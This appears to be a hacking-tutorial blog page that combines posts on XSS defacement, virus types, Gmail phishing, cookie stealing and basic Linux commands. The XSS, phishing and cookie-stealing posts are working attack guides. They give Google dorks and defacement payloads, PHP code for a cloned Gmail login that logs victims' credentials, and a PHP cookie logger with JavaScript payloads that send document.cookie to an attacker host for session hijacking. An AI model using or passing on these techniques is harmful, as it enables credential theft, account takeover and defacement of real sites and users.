Cross Site Scripting (XSS) #XSS #Infosec #Vulnerability #Pentesting #Hacking #Website #Defacing

It is a vulnerability found in websites which allows an malicious attack/cracker to inject client-side scripts into the web pages. By using this vulnerability an attaker can deface a website, redirection attacks can be done and session cookie stealing is also possible by exploiting this vulnerability.
There are two types of XSS vulnerability found in web applications.
1. Non-persistent
2. Persistent

Non-persistent
Non-persistent type of XSS vulnerability is the most common one. Non-persistent XSS happens when a malicious HTML query is done by an attacker and that query is used immediately by the server-side to generate the page result.

Persistent
Persistent type of XSS vulnerability is a dangerous kind of vulnerability. This happens when a malicious HTML query is done by the attacker and that query is immediately saved by the server and is permanently displayed on the normal pages. 
In this tutorial we're going to learn how to deface a XSS vulnerable site via Non-persistent XSS vulnerability.

In order to find sites vulnerable to XSS use Google dorks. The most common Google dork used by attackers to exploit the XSS vulnerability is: inurl:search.php?q=

How to find if the website is XSS vulnerable or not. Example Website: "www.website.com/search.php?q="
Open the website, you will find a search box. in that search box type this code: <script>alert("XSS Detected !!")</script>

And click on search. If the site is vulnerable, you will get a Jquery box saying "XSS Detected", if you got that you can move forward to deface the website site. Now if you want just to display a simple message like
"H4CK3D", Enter the below HTML code and click on search. <h1><center><b>Hacked by RY44ND4V15</h1></center></b>

Computer Viruses: Definition,Types,What Happens When Executed/Run #ComputerVirus #Infosec

A potentially damaging computer program capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.
Virus - A program that when run, has the ability to self replicate by infecting other programs and files on your computer. These programs can have many effects ranging from wiping your hard drive, displaying a joke in a small box, or doing nothing at all except to replicate itself. These types of infections tend to be localized to your computer and not have the ability to spread to another computer on their own. The word virus has incorrectly become a general term that encompasses trojans, worms, and viruses.

Types of viruses:-
The different types of viruses are as follows-
1) Boot Sector Virus: - Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus.
The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write protected disk accessed by this system will become infected.
Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses: - Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .
Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses: - A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated. Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989. Other examples are Invader, Flip, etc.

4) Stealth Viruses: - These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses: - Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presence.

6) Macro Viruses: - A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm

 -----------------Click Here To Read About Computer Malware-----------------

 

Phishing (For beginners and a revision for elite hackers) #Hacker #Phishing #Infosec

Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the PHP programming. Below I will show a simple example of some of the steps a hacker might take to create a phishing website. By seeing the steps a hacker would take, will help you defend against such an attack.


1. First the hacker chooses a target. The most popular targets for phishing attacks are e-mail services such as Hotmail and Gmail because they are the most common and once a hacker gets access to your e-mail, he also gets access to a load of other user information for all the other websites you use. In this example we will pretend the hacker chose Gmail as his target.


2. After choosing his target, the hacker will go to the website and save the whole main page. I use Mozilla Firefox ,(highly recommend using this browser for its security and customization.) So I would go to www.gmail.com and click File -> Save page as… , or simply hit <CTR> + S which does this automatically. Choose where you would like to save the web page and hit Save.



3. Once you have it saved, rename ServiceLogin.htm to index.htm. The reason you want to name it “index” is so when you upload it to a web host and someone goes to your link, the index page is the first page that shows up.


4. Next the hacker would create a PHP script to do his dirty deed of steeling your information. Below is a simple PHP script that logs and stores your login details when you click “Sign in”. To see how it works, copy and paste the following code into notepad. Next save it into the same directory as you saved the Gmail page, and name it phish.php. In addition to the phish.php page, create a new empty text file and name it list.txt.


Code:



<?php // This marks the beginning of the PHP script.
Header(“Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” in the fake website, this redirects you to the real Gmail website, making the whole process look more legit.
$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it ready for appending data. Which in this case is your username and password.



Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
} // This section simply assigns all the information going through this form to a variable. This includes your username and password.
Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”
fclose($handle); // This simply closes the connection to the file “list.txt”
exit;
?> // Marks the end of the PHP program.



5. Now the hacker would have to edit the main Gmail page to include his PHP script. To see what the hacker would do, open up the main Gmail page named index.htm with notepad.


6. Hit <CTR> + F , or go to Edit -> Find , type in action and hit “Find Next”[size=78%].[/size]

7. This will highlight the first occurrence of the word “action” in the script.There are two “action” occurrences in the script so make sure you have the right one by looking at the “form id” name above. Change the link between action = “ “ to phish.php . This will make the form submit to your PHP phish script instead of to Google.Change the word “POST” to “GET” so that it looks like method=”GET”. What the GET method does is submit the information you type in through the URL so that the PHP script can log it.


8. Save and close the file.


9. Next the hacker would upload the files up to a free webhost that supports PHP. With a simple Google search you can come up with a bunch that fall under this category.


10. Once all the files are uploaded, you must give writing permissions to the “list.txt” file. Every hosting company should have a CHMOD option next to each file. Select this option and change the file permission for “list.txt” to 777. If you can’t figure out how to do this, ask people that use the same host or simply Google something similar to: “yourwebhostname chmod”.



11. Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.
12. Now go take a look at your list.txt file by going through your hosting file manager or going to http://www.yourwebhosturl.com/youraccount/list.txt. Although this is the most common, the web host you use may provide a different looking URL.
As you can see if you fell for this the hacker would have your email and password. Scary, eh?

Cookie Stealing(Session Hijacking) #SessionHijacking #WebAdmin #Javascript #Java #Php

 

Cookies Stealing

Here we show how you can hack a session using javascript and php.Everyone knows what XSS is, right? Good, I’ll spare you the definition. A common use for XSS is stealing cookies to hijack sessions and gain access to restricted web content. Cookie stealing is typically done by forcing a target’s browser to issue some sort of GET request to a server controlled by the attacker which accepts the target’s cookie as a parameter and processes it in some way. In most cases, when a cookie stealing XSS attack is successful, it generates a visual clue which can tip off the target. While it is too late at this point, stealth has been compromised, and could be the difference between the user keeping the session active, or clicking ‘log out’ and rendering your stolen cookie invalid.
 
Cookies Stealing And Session Hijacking
What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged every time it accesses the server. A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time. Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

Cookies Stealing
What can we do after stealing cookie?
Well,as we know web sites authenticate their user’s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.
This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.


PHP Code:

<?php
function GetIP()

{
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
$ip = getenv(“HTTP_CLIENT_IP”);
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
$ip = getenv(“REMOTE_ADDR”);
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], “unknown”))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = “unknown”;
return($ip);
}
function logData()
{
$ipLog=”log.txt”;
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get(‘register_gobals’);
if ($register_globals) $ip = getenv(‘REMOTE_ADDR’);
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date (“l dS of F Y h:i:s A”);
$log=fopen(“$ipLog”, “a+”);
if (preg_match(“/\bhtm\b/i”, $ipLog) || preg_match(“/\bhtml\b/i”, $ipLog))
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
“);
else
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n”);
fclose($log);
}
logData();
?>
Save the script as a cookielogger.php on your server. (You can get any free webhosting easily such as justfree,x10hosting etc..)
Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.
 

Cookies Stealing
Now for the hack to work we have to inject this piece of javascript into the target’s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites don't allow javascript so you gotta be lucky to try this.The best way is to look for user interactive sites which contain comments or forums.
Post the following code which invokes or activates the cookie logger on your host.
Code:
<script language=”Java script”>
document.location=”http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;
</script>
You can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.
Code:
<a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>Click here!</a>

Clicking an image also can activate the script. For this purpose you can use the below code.
Code:
<a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”&gt;
<img src=”URL OF THE IMAGE”/></a>
All the details like cookie, ipaddress, browser of the victim are logged in to log.txt on your hostserver. In the above codes please remove the space in between javascript.


 

Hijacking the Session:
Now we have cookie, what to do with this..? Download cookie editor mozilla plugin or you may find other plugins as well.Go to the target site–>open cookie editor–>Replace the cookie with the stolen cookie of the victim and refresh the page. Thats it!!! you should now be in the victim's account.

Basic Linux Commands #Linux #OS

Modes of Operation

The linux operating system used for the PARTICLE DAQ system can be used either in a terminal mode where you type commands or in a Windows Explorer style graphical user interface (GUI).

The Explorer-like GUI can be used for file manipulation functions (e.g., copying a file to a floppy) or deleting or moving files on the disk. It cannot be used to run the PARTICLE DAQ itself.

To begin using the Explorer-like GUI, double click on the icons on the Desktop. For the most part, Explorer mode will be familiar from Windows or MAC OS, so with a few exceptions, this information will not focus on this. Where something is much more easily done from

Explorer mode, it will be highlighted here.

To begin working in the terminal mode, you will need to open a terminal. This can be accomplished by clicking on the terminal icon in the bottom icon bar, by using the main menu (footprint icon in lower left of bottom icon bar) System Tools -> New Terminal.

The Manual (terminal mode)

Man -This command brings up the online Unix manual. Use it on each of the commands below.

For Example:

man pwd -You will see the manual for the pwd command.

Accessing files in Folders (Directories) in terminal mode

pwd - Shows what directory (folder) you are in.

In Linux, your home directory is /home/particle

Let's suppose you have several data files (data1, data2 ... etc.) in a directory called muondata.

Then suppose the directory muondata is an entry in your main home directory, /home/particle.

If you are in your home directory (where terminals start) and type pwd, you will see /home/particle.

If you were in the muondata directory, pwd would give you /home/particle/muondata instead

The last slash after a directory name is optional.

As you can see, each slash (/) indicates another sub-directory.

Cd -Changes directories.

Examples of relative movement among directories:

cd muondata-Moves down from your current directory into the muondata sub-directory

cd -Moves up one directory (yes, include the two little dots)

You can also move directly into directories

cd /home/particle/muondata - Moves from ANY directory into the muondata sub-directory of your home directory.

cd ~ -Takes you back to your home directory (/home/particle)

Making or Removing a Directory (terminal mode)

mkdir dirName - Creates a directory with name dirName.

For Example:

mkdir temp - Creates the directory temp.

rmdir dirName - Removes a directory dirName.

For Example:

rmdir temp - Removes the directory temp.

Looking at or Finding your Files (terminal mode)

Ls - Lists files.

If you add -al after ls it will give more details for each file. Such as, size, permissions, owners, dates etc.

ls al - You'll see a huge list of files that you can't see with the 'ls' command alone and lots of details.

If you see such a long list of files that they scroll off the terminal screen, one way to solve the problem is to use:

ls -al |more Shows one screen of file names at a time.

less data1 -Dumps the contents of the data1 file to your screen with a pause at each line so you don't miss any contents as they scroll. You may move through the file using page up, page down, home and end keys. When done with less you use the q key to get back to the main

Terminal.

whereis data1 -Shows you the location of the data1 file.

Altering your Files

rm data1 - Deletes the file data1 in the current directory.

rm -i muon* - Removes all of your muon data files

(careful!! rm * will remove ALL your files)

The "-i" makes the computer prompt before removing each file. If you really want to work without a net, omit the "-i".

cp data1 newdata/ - will copy the file data1 to the directory newdata (assuming it has already been created)

mv data1 newdata/ - moves the file data1 to the folder newdata and deletes the old one.

To remove the disk, you must first right-click on the desktop icon, and select Unmount volume or Eject (either does the same thing). Things are more complicated by possible in the terminal mode:

mount Mounts a drive to the operating system.

Linux does not 'see' the floppy drive until you tell it to.

df- Shows the disk usage. This will tell you how much disk space you have left on your hard drive as well as the flash drive

So more commands are as follows :

A

alias Create an alias •

apropos Search Help manual pages (man -k)

apt-get Search for and install software packages (Debian/Ubuntu)

aptitude Search for and install software packages (Debian/Ubuntu)

aspell Spell Checker

awk Find and Replace text, database sort/validate/index

B

basename Strip directory and suffix from filenames

bash GNU Bourne-Again SHell

bc Arbitrary precision calculator language

bg Send to background

break Exit from a loop •

builtin Run a shell builtin

bzip2 Compress or decompress named file(s)

C

cal Display a calendar

case Conditionally perform a command

cat Concatenate and print (display) the content of files

cd Change Directory

cfdisk Partition table manipulator for Linux

chgrp Change group ownership

chmod Change access permissions

chown Change file owner and group

chroot Run a command with a different root directory

chkconfig System services (runlevel)

cksum Print CRC checksum and byte counts

clear Clear terminal screen

cmp Compare two files

comm Compare two sorted files line by line

command Run a command - ignoring shell functions •

continue Resume the next iteration of a loop •

cp Copy one or more files to another location

cron Daemon to execute scheduled commands

crontab Schedule a command to run at a later time

csplit Split a file into context-determined pieces

cut Divide a file into several parts

D

date Display or change the date & time

dc Desk Calculator

dd Convert and copy a file, write disk headers, boot records

ddrescue Data recovery tool

declare Declare variables and give them attributes •

df Display free disk space

diff Display the differences between two files

diff3 Show differences among three files

dig DNS lookup

dir Briefly list directory contents

dircolors Colour setup for `ls'

dirname Convert a full pathname to just a path

dirs Display list of remembered directories

dmesg Print kernel & driver messages

du Estimate file space usage

E

echo Display message on screen •

egrep Search file(s) for lines that match an extended expression

eject Eject removable media

enable Enable and disable builtin shell commands •

env Environment variables

ethtool Ethernet card settings

eval Evaluate several commands/arguments

exec Execute a command

exit Exit the shell

expect Automate arbitrary applications accessed over a terminal

expand Convert tabs to spaces

export Set an environment variable

expr Evaluate expressions

F

false Do nothing, unsuccessfully

fdformat Low-level format a floppy disk

fdisk Partition table manipulator for Linux

fg Send job to foreground

fgrep Search file(s) for lines that match a fixed string

file Determine file type

find Search for files that meet a desired criteria

fmt Reformat paragraph text

fold Wrap text to fit a specified width.

for Expand words, and execute commands

format Format disks or tapes

free Display memory usage

fsck File system consistency check and repair

ftp File Transfer Protocol

function Define Function Macros

fuser Identify/kill the process that is accessing a file

G

gawk Find and Replace text within file(s)

getopts Parse positional parameters

grep Search file(s) for lines that match a given pattern

groupadd Add a user security group

groupdel Delete a group

groupmod Modify a group

groups Print group names a user is in

gzip Compress or decompress named file(s)

H

hash Remember the full pathname of a name argument

head Output the first part of file(s)

help Display help for a built-in command •

history Command History

hostname Print or set system name

I

iconv Convert the character set of a file

id Print user and group id's

if Conditionally perform a command

ifconfig Configure a network interface

ifdown Stop a network interface

ifup Start a network interface up

import Capture an X server screen and save the image to file

install Copy files and set attributes

J

jobs List active jobs •

join Join lines on a common field

K

kill Stop a process from running

killall Kill processes by name

L

less Display output one screen at a time

let Perform arithmetic on shell variables •

ln Create a symbolic link to a file

local Create variables •

locate Find files

logname Print current login name

logout Exit a login shell •

look Display lines beginning with a given string

lpc Line printer control program

lpr Off line print

lprint Print a file

lprintd Abort a print job

lprintq List the print queue

lprm Remove jobs from the print queue

ls List information about file(s)

lsof List open files

M

make Recompile a group of programs

man Help manual

mkdir Create new folder(s)

mkfifo Make FIFOs (named pipes)

mkisofs Create an hybrid ISO9660/JOLIET/HFS filesystem

mknod Make block or character special files

more Display output one screen at a time

mount Mount a file system

 mtools Manipulate MS-DOS files

mtr Network diagnostics (traceroute/ping)

mv Move or rename files or directories

mmv Mass Move and rename (files)

N

netstat Networking information

nice Set the priority of a command or job

nl Number lines and write files

nohup Run a command immune to hangups

notify-send Send desktop notifications

nslookup Query Internet name servers interactively

O

open Open a file in its default application

op Operator access

P

passwd Modify a user password

paste Merge lines of files

pathchk Check file name portability

ping Test a network connection

pkill Stop processes from running

popd Restore the previous value of the current directory

pr Prepare files for printing

printcap Printer capability database

printenv Print environment variables

printf Format and print data •

ps Process status

pushd Save and then change the current directory

pwd Print Working Directory

Q

quota Display disk usage and limits

quotacheck Scan a file system for disk usage

quotactl Set disk quotas

R

ram ram disk device

rcp Copy files between two machines

read Read a line from standard input •

readarray Read from stdin into an array variable •

readonly Mark variables/functions as readonly

reboot Reboot the system

rename Rename files

renice Alter priority of running processes

remsync Synchronize remote files via email

return Exit a shell function

rev Reverse lines of a file

rm Remove files

rmdir Remove folder(s)

rsync Remote file copy (Synchronize file trees)

S

screen Multiplex terminal, run remote shells via ssh

scp Secure copy (remote file copy)

sdiff Merge two files interactively

sed Stream Editor

select Accept keyboard input

seq Print numeric sequences

set Manipulate shell variables and functions

sftp Secure File Transfer Program

shift Shift positional parameters

shopt Shell Options

shutdown Shutdown or restart linux

sleep Delay for a specified time

slocate Find files

sort Sort text files

source Run commands from a file `.'

split Split a file into fixed-size pieces

ssh Secure Shell client (remote login program)

strace Trace system calls and signals

su Substitute user identity

sudo Execute a command as another user

sum Print a checksum for a file

suspend Suspend execution of this shell •

symlink Make a new name for a file

sync Synchronize data on disk with memory

T

tail Output the last part of file

tar Tape ARchiver

tee Redirect output to multiple files

test Evaluate a conditional expression

time Measure Program running time

times User and system times

touch Change file timestamps

top List processes running on the system

traceroute Trace Route to Host

trap Run a command when a signal is set(bourne)

tr Translate, squeeze, and/or delete characters

true Do nothing, successfully

tsort Topological sort

tty Print filename of terminal on stdin

type Describe a command •

U

ulimit Limit user resources •

umask Users file creation mask

umount Unmount a device

unalias Remove an alias •

uname Print system information

unexpand Convert spaces to tabs

uniq Uniquify files

units Convert units from one scale to another

unset Remove variable or function names

unshar Unpack shell archive scripts

until Execute commands (until error)

uptime Show uptime

useradd Create new user account

userdel Delete a user account

usermod Modify user account

users List users currently logged in

uuencode Encode a binary file

uudecode Decode a file created by uuencode

V

v Verbosely list directory contents (`ls -l -b')

vdir Verbosely list directory contents (`ls -l -b')

vi Text Editor

vmstat Report virtual memory statistics

W

wait Wait for a process to complete •

watch Execute/display a program periodically

wc Print byte, word, and line counts

whereis Search the user's $path, man pages and source files for a program

which Search the user's $path for a program file

while Execute commands

who Print all usernames currently logged in

whoami Print the current user id and name (`id -un')

wget Retrieve web pages or files via HTTP, HTTPS or FTP

write Send a message to another user

X

xargs Execute utility, passing constructed argument list(s)

xdg-open Open a file or URL in the user's preferred application.

yes Print a string until interrupted

. Run a command script in the current shell

!! Run the last command again